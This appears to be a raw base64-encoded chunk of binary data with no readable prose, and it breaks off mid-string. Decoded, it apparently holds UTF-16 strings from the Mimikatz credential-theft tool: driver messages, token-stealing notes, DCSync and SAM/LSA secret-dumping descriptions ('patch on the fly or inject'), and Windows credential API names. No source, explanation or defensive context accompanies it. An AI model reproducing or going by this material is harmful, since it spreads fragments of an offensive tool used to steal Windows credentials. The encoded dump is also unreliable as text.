YwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHMAdABvAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHIAZQBtAG8AdgBlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUAByAG8AYwBlAHMAcwAgADoAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABpAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABOAG8AIABQAEkARAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABQAHIAbwB0AGUAYwB0AGUAZAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACAAYgBlAGYAbwByAGUAIABXAGkAbgBkAG8AdwBzACAAVgBpAHMAdABhAAoAAAAAAGYAcgBvAG0AAAAAAHQAbwAAAAAAAAAAAFQAbwBrAGUAbgAgAGYAcgBvAG0AIABwAHIAbwBjAGUAcwBzACAAJQB1ACAAdABvACAAcAByAG8AYwBlAHMAcwAgACUAdQAKAAAAAAAAAAAAIAAqACAAZgByAG8AbQAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAFMAWQBTAFQARQBNACAAdABvAGsAZQBuAAoAAAAAAAAAIAAqACAAdABvACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAYQBsAGwAIAAnAGMAbQBkACcAIABhAG4AZAAgACcAbQBpAG0AaQBrAGEAdAB6ACcAIABwAHIAbwBjAGUAcwBzAAoAAABUAGEAcgBnAGUAdAAgAD0AIAAwAHgAJQBwAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBuAG8AdABpAGYAeQBHAGUAbgBlAHIAaQBjAFIAZQBtAG8AdgBlACAAOwAgAE4AbwAgAGEAZABkAHIAZQBzAHMAPwAKAAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADQAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAAyADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAVQBTAEUAXwBBAEUAUwBfAEsARQBZAFMAAAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAE4ATwBfAEEAVQBUAEgAXwBEAEEAVABBAF8AUgBFAFEAVQBJAFIARQBEAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABQAEEAUwBTAFcATwBSAEQAXwBFAFgAUABJAFIARQBEAAAAAABEAE8ATgBUAF8AUgBFAFEAVQBJAFIARQBfAFAAUgBFAEEAVQBUAEgAAAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAABUAFIAVQBTAFQARQBEAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAATQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAAAARABPAE4AVABfAEUAWABQAEkAUgBFAF8AUABBAFMAUwBXAEQAAAAAADAAeAA4ADAAMAAwACAAPwAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAABTAEUAUgBWAEUAUgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAMAB4ADQAMAAwACAAPwAAAE4ATwBSAE0AQQBMAF8AQQBDAEMATwBVAE4AVAAAAAAAVABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAAAAAAARQBOAEMAUgBZAFAAVABFAEQAXwBUAEUAWABUAF8AUABBAFMAUwBXAE8AUgBEAF8AQQBMAEwATwBXAEUARAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAEwATwBDAEsATwBVAFQAAABIAE8ATQBFAEQASQBSAF8AUgBFAFEAVQBJAFIARQBEAAAAAAAwAHgANAAgAD8AAABBAEMAQwBPAFUATgBUAEQASQBTAEEAQgBMAEUAAAAAAFMAQwBSAEkAUABUAAAAAABWAEUAUgBTAEkATwBOAAAAQwBMAEUAQQBSACAAIAAAAE4AVAA0AE8AVwBGACAAAABOAE8ATgBFACAAIAAgAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAEsAZQByAGIAZQByAG8AcwAAAAAAVwBEAGkAZwBlAHMAdAAAAEMATABFAEEAUgBUAEUAWABUAAAAUAByAGkAbQBhAHIAeQAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABuAHQAZABsAGwALgBkAGwAbAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEQAYQB0AGEAAAAAAEcAQgBHAAAAUwBrAGUAdwAxAAAASgBEAAAAAABEAGUAZgBhAHUAbAB0AAAAQwB1AHIAcgBlAG4AdAAAAEEAcwBrACAAYQAgAEQAQwAgAHQAbwAgAHMAeQBuAGMAaAByAG8AbgBpAHoAZQAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAZABjAHMAeQBuAGMAAAAAAHIAcABkAGEAdABhAAAAAABiAGEAYwBrAHUAcABrAGUAeQBzAAAAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAHQAcgB1AHMAdAAAAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABTAEEATQAvAEEARAAgAGUAbgB0AHIAaQBlAHMAIAAoAG4AbwByAG0AYQBsACwAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACAAbwByACAAaQBuAGoAZQBjAHQAKQAAAAAAbABzAGEAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAAAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEUAQwBSAEUAVABTACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGEAbQAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAAbABzAGEAZAB1AG0AcAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBBAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBZAFMAVABFAE0AAAAAAFMAQQBNAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAawBpAHcAaQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMARQBDAFUAUgBJAFQAWQApACAAKAAwAHgAJQAwADgAeAApAAoAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAACUAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEwAUwBBACAASwBPAAoAAAAAAFMAQQBNAFwARABvAG0AYQBpAG4AcwBcAEEAYwBjAG8AdQBuAHQAAABWAAAATABvAGMAYQBsACAAUwBJAEQAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABWACAASwBPAAoAAAAAAFUAcwBlAHIAcwAAAE4AYQBtAGUAcwAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABVAHMAZQByACAAOgAgACUALgAqAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBUAEwATQAAAAAATABNACAAIAAAAAAAJQBzACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABGAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgAEsATwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAUABvAGwAXwBfAEQAbQBOAAAAAABQAG8AbABfAF8ARABtAFMAAAAAACUAcwAgAG4AYQBtAGUAIAA6ACAAAAAAACAAKAAAAAAAKQAAAFAAbwBsAGkAYwB5AAAAAABMAG8AYwBhAGwAAABBAGMAAAAAAEQAbwBtAGEAaQBuAAAAAABQAHIAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAoAUABvAGwAaQBjAHkAIABzAHUAYgBzAHkAcwB0AGUAbQAgAGkAcwAgADoAIAAlAGgAdQAuACUAaAB1AAoAAABQAG8AbABFAEsATABpAHMAdAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAXwBTAEMAXwAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAEMAYQBjAGgAZQAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAPgAgAEsAaQB3AGkAIABtAG8AZABlAC4ALgAuAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADIAIAA6ACAAAAAAACAAIABDAGgAZQBjAGsAcwB1AG0AIAAgADoAIAAAAAAAPgAgAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFMAZQB0AFYAYQBsAHUAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAxACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABtAGEAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAE8AYgBqAGUAYwB0AE4AYQBtAGUAAAAAACAALwAgAHMAZQByAHYAaQBjAGUAIAAnACUAcwAnACAAdwBpAHQAaAAgAHUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBlAGMAcgBlAHQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFMAZQBjAHIAZQB0ACAAdgBhAGwAdQBlACAASwBPAAoAAAB0AGUAeAB0ADoAIAAlAHcAWgAAAGgAZQB4ACAAOgAgAAAAAAAkAE0AQQBDAEgASQBOAEUALgBBAEMAQwAAAAAACgAgACAAIAAgAE4AVABMAE0AOgAAAAAACgAgACAAIAAgAFMASABBADEAOgAAAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AAAAAAAoAIAAgACAAIABmAHUAbABsADoAIAAAAAoAIAAgACAAIABtAC8AdQAgADoAIAAAACAALwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFNhbUlDb25uZWN0AFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIATHNhSVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3lUcnVzdGVkAAAATHNhSUZyZWVfTFNBUFJfUE9MSUNZX0lORk9STUFUSU9OAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAcABhAHQAYwBoAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAAbgBhAG0AZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKA